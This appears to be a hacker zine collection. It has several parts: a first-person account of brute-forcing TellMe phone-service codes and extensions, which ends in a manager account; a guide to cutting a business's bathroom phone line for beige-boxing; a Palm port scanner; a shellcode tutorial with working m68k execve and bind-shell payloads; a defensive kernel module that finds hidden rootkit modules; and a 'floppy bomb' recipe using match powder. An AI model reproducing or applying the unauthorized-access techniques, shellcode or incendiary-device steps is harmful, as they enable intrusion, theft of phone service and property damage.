Obviously a Brute Force hack was in order. I handled it by dusting off a *VERY* old wardialer.

I sat on an extention line, due to the limitations of the dialer, and listened to it punching in access codes. When it succeeded, I could pause the wardialer program. I would be able to look at the screen, and see what the last couple of attempted numbers were, manually dial them in, and gain access. I know there are easier methods, but this is what I did.

The Baron had mercifully chosen a low number, and I was in, changing the message in about ten minutes. I then tried two other *SAFE* messages, that I would not get in trouble for, if changed. I gained access, respectively, in 45 and 90 minutes (More or less). My math told me that the maximum time to Brute Force a TellMe announcement was about three hours.

Is that it?

No, while having the ability to change any announcement may be a lot of fun, there is a far more intersting hack that you can do on TellMe. Remember how when you first sign on, you have to say "announcements"? Try saying the word "Extensions". You may be quite surprised at what you find.

What are Tell‑Me extensions?

============================

Tell‑Me extensions are that part of the Tellme network, which they have offered to the world to produce the voice activated web pages. Here is what you do.

‑ Say "Extensions". You will be taken to the extensions area, and asked to punch in an extension number. This is a five digit number. It was time again for my ancient wardialer to do it's stuff. (Once again, no penalty for incorrect guesses!)

First off, it is important at this point to mention that TellMe is a dying concern. Most of the extensions are empty. The only extensions still operating, are some extensions created by individual developers, Die‑hard developers, and (This is important later) TellMe's *own* extensions.

Apparently, the idea was to use the extension number as a kind of password, as there is no directory, and one must already know the extension number in order to gain access.

I checked into The San Remo hotel here in Las Vegas, under my girlfriend's name, and spent the night hacking. Here's what I have come up with so far:

Extension 76255:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This leads to a very bizarre game of Rock/Paper/Scissors. It is one of the wierdest things that I have ever come across in all my days. I HIGHLY suggest you try it. It is like some whiney hillbilly guy...well see fer yerself!

Extension 11111:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A gypsy with an eight ball. You ask it questions, and it gives you answers. There are no disclaimers, so I guess this is the real deal! Saying "quit" or "Stop" won't help you. Just shut the hell up, and it will kick you back into regular Tell‑Me.

Extension 33333:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Produces the words "HELLO WORLD"

Extension 34118:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Produces a directory of TellMe's offices, with the regular phone numbers.

Most of the worthy extensions consisted of foul language, so anyone under 18 should stop reading now...

Use the letters on your telephone keypad, and you will get some very intersting results. These are five letter words corresponding to the numbers on your phone.

CUNTS ‑ Produces a string of numbers of unknown meaning. Just a long string of a computer voice saying "one, five, seven, three, twelve, eighty‑eight" etc. I'll figure out what that means later.

TITTY ‑ This produces a fax tone, as opposed to a computer tone. I didn't mess with it.

PENIS ‑ This produces a verbal message about the sendmail system.

HOLES ‑ This is the Quote of the Day.

BOOBS ‑ This has to do with HTTP protocols.

SHIT0 ‑ This is a directory of phone lines in the TellMe system.

FUCK0 ‑ This is a very interesting directory of phone lines in the TellMe system. Two of the lines appear to be trusted lines, providing a computer tone which I used to log on. There was a first time user option, which gave me a manager's account. (Do they have hundreds of managers?) What can it do? I was able to delete my own account and bring it back. I didn't fuck with anyone elses account. My goal is not to destroy, but to learn.

PISS0 ‑ As above, the TellMe system addresses me with a choice of talking to a live person, or an automated directory of phone lines. I'm amazed this is all behind a five digit password.

Damn0 ‑ Yet another directory of trusted phone lines. This one, however askes you for another password right up front, so I'm assuming this is a more security sensative area!

Pussy ‑ A discription of how to configure a TellMe webpage.

Cum69 ‑ Advice on proper password generation. (hahahahahahahahahaha!!!!)

EATME ‑ Computer tone leading to nowhere.

The TellMe security protocols are pathetic.

Archangel (The Teflon Con)

Wrath of God Hand Delivered

http://the.feds.are.lookingat.us

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 3 ‑ Shitboxing ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by Agent5

So you're sitting in a small family owned type resturaunt or you're walking through a small store looking at their various wares and, as normal every couple times a day, you hear the call of nature. You make your way towards the (preferably single occupancy) mens room (or ladies for those few that may actually read this) and enter. So your doing your thing and you're lookin around checking out your surroundings (why? cause you're supposed to be fucking observant at all times.Thats why.) Your gaze takes you towards the ceiling. Looks like most most cheap drop down ceilings. hmmmm.... drop down ceiling.....easily removable. So you stand on the toilet, or whatever, and take a look. You pull out your pocket flashlight and take a look. Nothing but wires. Couple elecrical or telephone maybe... ..TELEPHONE? Does this mean i can sit on the throne and use the fone? Indeed it does! All you need is a few things to help you make your dream of phreaking at its absolute lazyest a reality.what you need will (besides your beigebox with a RJ‑11 plug on the cord) probably cost you, at an extreme maximum, 3 bucks for parts and about 6 bucks for an telephone Line Crimper for standard telephone plugs (RJ‑11) you will also need a... "modular line splitter ‑ Provides two telephone jacks when plugged into the end of a telephone line cord. Standard 4‑wire jacks. Color: Ivory"‑‑‑‑bout dollar and change max cost. Most of these parts, if not all, can be found at your local radioshack. Now if you havent figured out what i'm getting at yet, you should seek medical attention immediately, CAT‑scans have helped me alot.<twitch>

Heres what you do and make sure you do it quickly in case they try to use the telephone while the line is disconnected. SO make sure you lock the door and get to work fast....if you have people beginning to knock on the door just make some nasty shitting sounds and say you'll be out in a minute.

1. Cut the line. (no specific tools needed, something sharp will do) 2. Attach a plug to either end of the line you have just cut. 3. Put one end of the plug in one end of the modular line splitter, put the one thats left into one of the two holes on the front of the splitter. 4. Now you can either leave and let the intestinaly distressed old guy pouding on the door in, or you can plug your beige box in and have some fun.

Treat this as you would any other beige boxing session. Keep in mind that the people who own the telephone line may want to use it to and may not enjoy having someone on the line already. But for the most part this ordinary bathroom has just become a your private telephone booth, complete with running water and a toilet for the astronomical sum of 3 dollars US.

"This file brought to you by the makers of sharp things."

Shoutouts to Epiphany, Bizurke, Master Slate, Ic0n, Xenocide, Bagel, Hopping Goblin, Maddjimbeam, lioid, emerica, the rest of the #mabell ninja's, port7 alliance, and LPH crew .

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 4 ‑ PalmMap v1.6 ‑ Nmap for Palm ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(submitted by Shaun Colley <shaunige at yahoo.co.uk>)

‑‑‑‑‑BEGIN PALMMAP‑‑‑‑‑

# PalmMap.bas

# PalmMap v1.6 ‑ Nmap for Palm.

fn set_auto_off(0)

s$(0) = "Host:"

s$(2) = "Start Port:"

s$(4) = "End Port:"

f = form(9, 3, "PalmMap v1.6")

if f = 0 then end

if f = 2 then gosub about

let h$ = s$(1)

let p = val(s$(3))

let e = val(s$(5))

let i = p

let t$ = "PalmMap.log"

open new "memo", t$ as #4

form2:

cls

form btn 30 , 40 , 40 , 18, "connect()", 1

form btn 85 , 40, 40 , 18 , "TCP SYN" , 1

form btn 60 , 80 , 40 , 18 , "UDP scan" , 1

form btn 60 , 120, 40 , 18 , "TCP FIN " , 1

draw "Scan type?", 50, 20, 1

while

x = asc(input$(1))

if x = 14 then gosub scan

if x = 15 then print "Scan type not implemented as of

yet."

if x = 16 then print "Scan type not implemented as of

yet."

if x = 17 then print "Scan type not implemented as of

yet."

wend

sub scan

cls

print at 50, 40

while(i <= e)

c = fn tcp(1, h$, i)

if(c = 0)

print "Port ", i, "Open"

fn tcp(‑1, "", 0)

print #4, "Port ", i, "Open"

else

fn tcp(‑1, "", 0)

print #4, "Port ", i, "Closed"

endif

let i = i + 1

wend

close #4

print "Scan complete!"

end

sub about

cls

msgbox("PalmMap ‑ Nmap for Palm.", "About PalmMap

1.6")

‑‑‑‑‑END PALMMAP‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 5 ‑ Writing Linux/mc68xxx Shellcodez ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by madcr (madrats@mail.ru)

I Introdaction.

II Registers.

III Syscalls.

IV Execve shellcode.

V Bind‑socket shellcode.

VI References.

I. Introdaction.

The history Motorola begins already with 1920 then they let out radioelements and about computers of nothing it was known. Only in 1974, motorola lets out the first 8th the bit microprocessor ‑ MC6800, containing 4000 transistors and in 1979 motorola announces the first 16th bit processor ‑ MC68000, capable to process up to 2 million operations per one second. After 5 more years, in 1984 motorola relize the first 32th the bit processor (MC68020), containing 200000 transistors. Till 1994 inclusive motorola improved a series of the processors and in a result, in March, release MC68060 processor contained 2,5 million transistors. In present days, 68060 is the optimal processor for use any unix.

The processor can work in 2 modes: User and SuperVisor. It not analogy of the real and protected mode in x86 processors. It some kind of protection "just in case". In the user mode it is impossible to cause exceptions and it is impossible to have access to all area of memory. In supervisor mode all is accessible. Accordingly kernel work in Supervisor mode, and rest in User mode.

MC68 supported various manufacturers unix, such as netbsd, openbsd, redhat linux, debian linux, etc. Given article is focused on linux (in particular debian).

II. Registers.

The processor as a matter of fact the CISC (but there are some opportunities RISC), accordingly not so is a lot of registers:

Eight registers of the data: with %d0 on %d7.

Eight registers of the address: with %a0 on %a7.

The register of the status: %sr.

Two stack indexes: %sp and %fp

The program counter: %pc.

Basically it is not required to us of anything more. And the minimal set of instructions which is required to us by development shellcode:

instruction example description

move movl %d0,%d1 Put value from %d0 in %d1 lea leal %sp@(0xc),%a0 calculate the address on 0xc to

displacement in the stack and it

is put in. %a0.

eor eorl %d0,%d1 xor

pea pea 0x2f2f7368 push in stack '//sh'

In total these 4 instructions will be enough for a spelling functional shellcode ?). And now it is high time to tell about the fifth, most important instruction (fifth, need us i mean) and about exceptions. The instruction trap ‑ a call of exception. In processors motorola, only 256 exceptions, but of all of them are necessary for us only one ‑ trap #0. In mc68 linux on this exception call to a kernel, for execution system call. Trap 0 refers to a vector located to the address $80h (strange concurrence). Now we shall stop on system calls more in detail.

III. System Calls.

System calls on the given architecture are organized thus:

%d0 ‑ number of a system call.

%d1,%d2,%d3 ‑ argv

i.e. to make banal setuid (0); we will have something unpretentious:

eorl %d2,%d2

movl %d2,%d1

movl #23,%d0

trap #0

Rather simple.

IV. Execve shellcode.

So, we shall start as always with old‑kind execve:

.globl _start

_start:

.text

movl #11,%d0 /* execve() (see unistd.h) */

movl #m1,%d1 /* /bin/sh address */

movl #m2,%d2 /* NULL */

movl #m2,%d3 /* NULL too */

trap #0

.data

m1: .ascii "/bin/sh\0"

m2: .ascii "0\0".

# as execve.s ‑o execve.o ; ld execve.o ‑o execve

# ./execve

sh‑2.03# exit

exit

#

Such code will not go, since he not pozitsio‑independent and did not check him on zero. Therefore we shall rewrite him with participation of the stack (since the machine at us big endian the order of following of byte needs to be taken into account):

.globl _start

_start:

moveq #11,%d0 /* execve() */

pea 0x2f2f7368 /* //sh */

pea 0x2f62696e /* /bin (big endian) */

movel %sp,%d1 /* /bin/sh in %d1 */

eorl %d2,%d2 /* pea 0x0 + avoiding */

movel %d2,%sp@‑ /* zero byte */

pea 0x130 /* pea 0030 ‑> 0130 = kill the zero */

movel %sp,%d2 /* NULL in %d2 */

movel %d2,%d3 /* NULL in %d2 */

trap #0 /* syscall */

# as execve2.s ‑o execve2.o ; ld execve2.o ‑o execve2

# ./execve2

sh‑2.03# exit

exit

#

Very well. Now we shall mutate him in ascii and we shall look as it works:

char execve_shellcode[]=

"\x70\x0b" /* moveq #11,%d0 */

"\x48\x79\x2f\x2f\x73\x68" /* pea 0x2f2f7368 ‑> //sh */

"\x48\x79\x2f\x62\x69\x6e" /* pea 0x2f62696e ‑> /bin */

"\x22\x0f" /* movel %sp,%d1 */

"\xb5\x82" /* eorl %d2,%d2 ‑> */

"\x2f\x02" /* movel %d2,%sp@‑ ‑> pea 0x0 */

"\x48\x78\x01\x30" /* pea 0x130 */

"\x24\x0f" /* movel %sp,%d2 */

"\x26\x02" /* movel %d2,%d3 */

"\x4e\x40"; /* trap #0 */

main()

{

int *ret;

ret=(int *)&ret +2;

*ret = execve_shellcode;

}

# gcc execve_shellcode.c ‑o execve_shellcode

# ./execve_shellcode

sh‑2.03# exit

exit

#

Our shellcode. Perfectly. But certainly it is not enough of it, therefore we shall binding this shellcode on socket.

V. Bind‑socket shellcode.

For the beginning we write our code on C:

#include <;;shiti;;>

main()

{

int fd,dupa;

struct sockaddr_in se4v;

fd=socket(AF_INET,SOCK_STREAM,0);

se4v.sin_port=200;

se4v.sin_family=2;

se4v.sin_addr.s_addr=0;

bind(fd,(struct sockaddr *)&se4v,sizeof(se4v)); listen(fd,1);

dupa=accept(fd,0,0);

dup2(dupa,0);

dup2(dupa,1);

dup2(dupa,2);

execl("/bin/sh","sh",0);

}

# gcc ‑static bindshell.c ‑o bindshell &

# ./bindshell &

[1] 276

# netstat ‑an | grep 200

tcp 0 0 0.0.0.0:200 0.0.0.0:* LISTEN # telnet localhost 200

Trying 127.0.01...

Connected to localhost.

Escape character is '^]'.

echo aaaaaaaaaaaa

aaaaaaaaaaaa

ctrl+c

[1]+ Done ./bindshell

All works. Now the last, that us interests ‑ it as there is a work with a network.

# gdb ‑q ./bindshell

(gdb) disas socket

Dump of assembler code for function socket:

0x80004734 <socket>: moveal %d2,%a0

0x80004736 <socket+2>: moveq #102,%d0

0x80004738 <socket+4>: moveq #1,%d1

0x8000473a <socket+6>: lea %sp@(4),%a1

0x8000473e <socket+10>: movel %a1,%d2

0x80004740 <socket+12>: trap #0

0x80004742 <socket+14>: movel %a0,%d2

0x80004744 <socket+16>: tstl %d0

0x80004746 <socket+18>: bmil 0x80004958 <__syscall_error> 0x8000474c <socket+24>: rts

0x8000474e <socket+26>: rts

End of assembler dump.

(gdb)

Perfectly. As well as everywhere ‑ 102 = socket_call. 1 ‑ sys_socket. (for the full list look net.h). Proceeding from the aforesaid we shall write it on the assembler:

.globl _start

_start:

/* socket(AF_INET,SOCK_STREAM,0); ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* af_inet ‑ 2, sock_stream ‑ 1, ip_proto0 ‑ 0 */

moveq #2,%d0

movl %d0,%sp@ /* sock_stream */

moveq #1,%d0

movel %d0,%sp@(0x4) /* AF_INET */

eorl %d0,%d0

movl %d0,%sp@(0x8)

movl %sp,%d2 /* put in d2 the address in the stack on where our argv*/

movl #0x66,%d0 /* socketcall (asm/unistd.h) */

movl #1,%d1 /* sys_socket (linux/net.h) */

trap #0 /* go on vector 80 */

/* ‑bind(socket,(struct sockaddr *)&serv,sizeof(serv));‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ */

movl %d0,%sp@ /* in d0 back descriptor on socket */

move #200,%d0

movl %d0,%sp@(0xc) /* port number */

eorl %d0,%d0

movl %d0,%sp@(0x10) /* sin_addr.s_addr=0 */

moveq #2,%d0

movl %d0,%sp@(0x14) /* sin_family=2 */

/* Let's calculate the address of an arrangement of constants of the */

/* second argument and we shall put this address as the second argument */

leal %sp@(0xc),%a0

movl %a0,%sp@(0x4)

moveq #0x10,%d0

movl %d0,%sp@(0x8) /* third argument 0x10 */

movl #0x66,%d0 /* socketcall (asm/unistd.h) */

movl #2,%d1 /* sys_bind (linux/net.h) */

trap #0 /* go on vector 80 */

/* listen (socket,1); ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* descriptor socket's already in stack. */

/*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

moveq #1,%d0

movl %d0,%sp@(4)

/* in d2 already put address of the beginning arguments in the stack */

movl #0x66,%d0 /* scoketcall (asm/unistd.h) */

movl #4,%d1 /* sys_listen (linux/net.h) */

trap #0 /* go on vector 80 */

/* accept (fd,0,0); ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

eorl %d0,%d0

movl %d0,%sp@(4)

movl %d0,%sp@(8)

movl #0x66,%d0 /* scoketcall (asm/unistd.h) */

movl #5,%d1 /* sys_accept (linux/net.h) */

trap #0 /* go on vector 80 */

/* dup2 (cli,0); ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* dup2 (cli,1); ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* dup2 (cli,2); ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

movl %d0,%d1

movl #0x3f,%d0

movl #0,%d2

trap #0

movl %d0,%d1

movl #0x3f,%d0

movl #1,%d2

trap #0

movl %d0,%d1

movl #0x3f,%d0

movl #2,%d2

trap #0

/* execve ("/bin/sh"); ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

movl #11,%d0 /* execve */

pea 0x2f2f7368 /* //sh */

pea 0x2f62696e /* /bin */

movl %sp,%d1 /* /bin/sh in %d1 */

eorl %d2,%d2

movl %d2,%sp@‑ /* pea 0x0 */

pea 0x0130 /* 0030 ‑> 0130 = kill the zero */

movl %sp,%d2

movl %d2,%d3

trap #0

/* ‑‑‑EOF‑‑‑bindsock shellcode‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# as bindshell.s ‑o bindshell.o ; ld bindshell.o ‑o bindshell

# ./bindshell &

[309]

# telnet localhost 200

Trying 127.0.01...

Connected to localhost.

Escape character is '^]'.

echo aaaaaaaaaaaa

aaaaaaaaaaaa

ctrl+c

In general and all. The code certainly super‑not optimized, is some zero, but the general picture I hope has given. And at last how it should be:

char bind_shellcode[]=

"\x70\x02" /* moveq #2,%d0 */

"\x2e\x80" /* movel %d0,%sp@ */

"\x70\x01" /* moveq #1,%d0 */

"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */

"\xb1\x80" /* eorl %d0,%d0 */

"\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */

"\x24\x0f" /* movel %sp,%d2 */

"\x70\x66" /* moveq #102,%d0 */

"\x72\x01" /* moveq #1,%d1 */

"\x4e\x40" /* trap #0 */

"\x2e\x80" /* movel %d0,%sp@ */

"\x30\x3c\x00\xc8" /* movew #200,%d0 */

"\x2f\x40\x00\x0c" /* movel %d0,%sp@(12) */

"\xb1\x80" /* eorl %d0,%d0 */

"\x2f\x40\x00\x10" /* movel %d0,%sp@(16) */

"\x70\x02" /* moveq #2,%d0 */

"\x2f\x40\x00\x14" /* movel %d0,%sp@(20) */

"\x41\xef\x00\x0c" /* lea %sp@(12),%a0 */

"\x2f\x48\x00\x04" /* movel %a0,%sp@(4) */

"\x70\x10" /* moveq #16,%d0 */

"\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */

"\x70\x66" /* moveq #102,%d0 */

"\x72\x02" /* moveq #2,%d1 */

"\x4e\x40" /* trap #0 */

"\x70\x01" /* moveq #1,%d0 */

"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */

"\x70\x66" /* moveq #102,%d0 */

"\x72\x04" /* moveq #4,%d1 */

"\x4e\x40" /* trap #0 */

"\xb1\x80" /* eorl %d0,%d0 */

"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */

"\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */

"\x70\x66" /* moveq #102,%d0 */

"\x72\x05" /* moveq #5,%d1 */

"\x4e\x40" /* trap #0 */

"\x22\x00" /* movel %d0,%d1 */

"\x70\x3f" /* moveq #63,%d0 */

"\x74\x00" /* moveq #0,%d2 */

"\x4e\x40" /* trap #0 */

"\x22\x00" /* movel %d0,%d1 */

"\x70\x3f" /* moveq #63,%d0 */

"\x74\x01" /* moveq #1,%d2 */

"\x4e\x40" /* trap #0 */

"\x22\x00" /* movel %d0,%d1 */

"\x70\x3f" /* moveq #63,%d0 */

"\x74\x02" /* moveq #2,%d2 */

"\x4e\x40" /* trap #0 */

"\x70\x0b" /* moveq #11,%d0 */

"\x48\x79\x2f\x2f\x73\x68" /* pea 2f2f7368 */

"\x48\x79\x2f\x62\x69\x6e" /* pea 2f62696e */

"\x22\x0f" /* movel %sp,%d1 */

"\xb5\x82" /* eorl %d2,%d2 */

"\x2f\x02" /* movel %d2,%sp@‑ */

"\x48\x78\x01\x30" /* pea 130 */

"\x24\x0f" /* movel %sp,%d2 */

"\x26\x02" /* movel %d2,%d3 */

"\x4e\x40"; /* trap #0 */

main()

{

int *ret;

ret=(int *)&ret +2;

*ret = bind_shellcode;

}

p.s. as always ‑ sorry for my poor english.

VI. References.

[1] http://e‑www.motorola.com/collateral/M68000PRM.pdf ‑ programmer's manual

[2] http://e‑www.motorola.com/brdata/PDFDB/docs/MC68060UM.pdf ‑ user's manual

[3] http://www.lsd‑pl.net/documents/asmcodes‑1.0.2.pdf ‑ good tutorial

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 6 ‑ Finding hidden kernel modules (the extrem way) ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by madsys <madsys at ercist.iscas.ac.cn>

1 Introduction

2 The technique of module hiding

3 Countermeasure ‑‑ brute force

4 Problem of unmapped

5 Greetings

6 References

7 Code

1 Introduction

==============

This paper presents a method for how to find out the hidden modules in linux system. Generaly speaking, most of the attackers intend to hide their modules after taking down the victim. They like this way to prevent the change of kernel from being detected by the administrator. As modules were linked to a singly linked chain, the original one was unable to be recovered while some modules have been removed. In this sense, to retrieve the hidden modules came up to be hard. Essential C skill and primary knowledge of linux kernel are needed.

2 The technique of module hiding

================================

First of all, the most popular and general technique of module hiding and the quomodo of application to get module's list were examined. An implement of module hiding was shown as below:

‑‑‑‑snip‑‑‑‑

struct module *p;

for (p=&__this_module; p‑>next; p=p‑>next)

{

if (strcmp(p‑>next‑>name, str)) continue;

p‑>next=p‑>next‑>next; // <‑‑ here it

removes that module

break;

}

‑‑‑‑snip‑‑‑‑

As you can see, in order to hide one module, the unidirectional chain was modified, and following is a snippet of sys_create_module() system call, which might tell why the technique worked:

‑‑‑‑snip‑‑‑‑

spin_lock_irqsave(&modlist_lock, flags);

mod‑>next = module_list;

module_list = mod; /* link it in */

spin_unlock_irqrestore(&modlist_lock, flags);

‑‑‑‑snip‑‑‑‑

A conclusion could be made: modules linked to the end of unidirectional chain when they were created.

"lsmod" is an application on linux for listing current loaded modules, which uses sys_query_module() system call to get the listing of loaded modules, and qm_modules() is the actual function called by it while querying modules:

static int qm_modules(char *buf, size_t bufsize, size_t *ret)

{

struct module *mod;

size_t nmod, space, len;

nmod = space = 0;

for (mod=module_list; mod != &kernel_module; mod=mod‑>next, ++nmod) {

len = strlen(mod‑>name)+1;

if (len > bufsize)

goto calc_space_needed;

if (copy_to_user(buf, mod‑>name, len))

return ‑EFAULT;

buf += len;

bufsize ‑= len;

space += len;

}

if (put_user(nmod, ret))

return ‑EFAULT;

else

return 0;

calc_space_needed:

space += len;

while ((mod = mod‑>next) != &kernel_module)

space += strlen(mod‑>name)+1;

if (put_user(space, ret))

return ‑EFAULT;

else

return ‑ENOSPC;

}

note: pointer module_list is always at the head of the singly linked chain. It clearly showing the technique of hiding module was valid.

3 Countermeasure ‑‑ brute force

===============================

According to the technique of hiding module, brute force might be useful. sys_creat_module() system call was expressed as below.

‑‑snip‑‑

if ((mod = (struct module *)module_map(size)) == NULL) { error = ‑ENOMEM;

goto err1;

}

‑‑snip‑‑

and the macro module_map in "asm/module.h":

#define module_map(x) vmalloc(x)

You should have noticed that the function calls vmalloc() to allocate the module struct. So the size limitation of vmalloc zone for brute force is able to be exploited to determine what modules in our system on earth. As you know, the vmalloc zone is 128M(2.2, 2.4 kernel, there are many inanition zones in it), however, any allocated module should be aligned by 4K. Therefor, the theoretical maximum number we were supposed to detect was 128M/4k=32768.

4 Problem of unmapped

=====================

By far, maybe you think: umm, it's very easy to use brute force to list those evil modules". But it is not true because of an important reason: it is possible that the address which you are accessing is unmapped, thus it can cause a paging fault and the kernel would report: "Unable to handle kernel paging request at virtual address".

So we must make sure the address we are accessing is mapped. The solution is to verify the validity of the corresponding entry in kernel pgd(swapper_pg_dir) and the corresponding entry in page table.Furthermore, we were supposed to make sure the content of address pointed by "name" pointer(in struct module) was valid. Because the 768~1024 entries of user process's pgd were synchronous with kerenl pgd, and that was why such hardcore address of kernel pgd (0xc0101000) was used.

following is the function for validating those entries in pgd or pgt:

int valid_addr(unsigned long address)

{

unsigned long page;

if (!address)

return 0;

page = ((unsigned long *)0xc0101000)[address >> 22];

//pde

if (page & 1)

{

page &= PAGE_MASK;

address &= 0x003ff000;

page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT]; //pte

if (page)

return 1;

}

return 0;

}

After validating those addresses which we would check, the next step would be easy ‑‑ just brute force. As the list of modules including hidden modules had been created, you could compare it with the output of "lsmod". Then you can find out those evil modules and get rid of them freely.

5 Greetings

===========

Shout to uberhax0rs@linuxforum.net

6 Code

======

‑‑‑‑‑BEGING MODULE_HUNTER.C‑‑‑‑‑

/*

* module_hunter.c: Search for patterns in the kernel address space that * look like module structures. This tools find hidden modules that * unlinked themself from the chained list of loaded modules.

*

* This tool is currently implemented as a module but can be easily ported * to a userland application (using /dev/kmem).

*

* Compile with: gcc ‑c module_hunter.c ‑I/usr/src/linux/include * insmod ./module_hunter.o

*

* usage: cat /proc/showmodules && dmesg

*/

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#ifdef CONFIG_SMP

#define __SMP__

#endif

#ifdef CONFIG_MODVERSIONS

#define MODVERSIONS

#include <linux/modversions.h>

#endif

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/version.h>

#include <linux/unistd.h>

#include <linux/string.h>

#include <linux/proc_fs.h>

#include <linux/errno.h>

#include <asm/uaccess.h>

#include <asm/pgtable.h>

#include <asm/fixmap.h>

#include <asm/page.h>

static int errno;

int valid_addr(unsigned long address)

{

unsigned long page;

if (!address)

return 0;

page = ((unsigned long *)0xc0101000)[address >> 22];

if (page & 1)

{

page &= PAGE_MASK;

address &= 0x003ff000;

page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT]; //pte

if (page)

return 1;

}

return 0;

}

ssize_t

showmodule_read(struct file *unused_file, char *buffer, size_t len, loff_t *off) {

struct module *p;

printk("address module\n\n");

for (p=(struct module *)VMALLOC_START; p<=(struct \ module*)(VMALLOC_START+VMALLOC_RESERVE‑PAGE_SIZE); p=(struct module \ *)((unsigned long)p+PAGE_SIZE))

{

if (valid_addr((unsigned long)p+ (unsigned long)&((struct \ module *)NULL)‑>name) && valid_addr(*(unsigned long *)((unsigned long)p+ \ (unsigned long)&((struct module *)NULL)‑>name)) && strlen(p‑>name)) if (*p‑>name>=0x21 && *p‑>name<=0x7e && (p‑>size < 1 <<20)) printk("0x%p%20s size: 0x%x\n", p, p‑>name, p‑>size); }

return 0;

}

static struct file_operations showmodules_ops = {

read: showmodule_read,

};

int init_module(int x)

{

struct proc_dir_entry *entry;

entry = create_proc_entry("showmodules", S_IRUSR, &proc_root); entry‑>proc_fops = &showmodules_ops;

return 0;

}

void cleanup_module()

{

remove_proc_entry("showmodules", &proc_root);

}

MODULE_LICENSE("GPL"); MODULE_AUTHOR("madsys<at>ercist.iscas.ac.cn");

‑‑‑‑‑END MODULE‑HUNTER.C‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 7 ‑ Good old floppy bombs ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ Note by the editors: We felt like it's time for a re‑print of some already forgotton fun with pyro techniques. Enjoy. ]

####################

# How To Make A Diskette Bomb # # by Phrick‑A‑Phrack #

####################

Before I even start i want to make it clear that i do NOT take any responsibility on the use of the information in this document.

This little baby is good to use to stuff up someones computer a little. It can be adapted to a range of other things.

You will need:

‑ A disk (3.5" floppys are a good disk to use)

‑ Scissors

‑ White or blue kitchen matches (i have not found any other colors that work ‑ im not sure why)

‑ Clear nail polish

What to do:

‑ Carefully open up the diskette

‑ remove the cotton covering from the inside.

‑ scrape a lot of match powder into a bowl (use a woodent scraper as metal might spark and ignite the match powder)

‑ After you have a lot, spread it EVENLY on the disk.

‑ Spread nail polish over the match powder on the disk.

‑ let it dry.

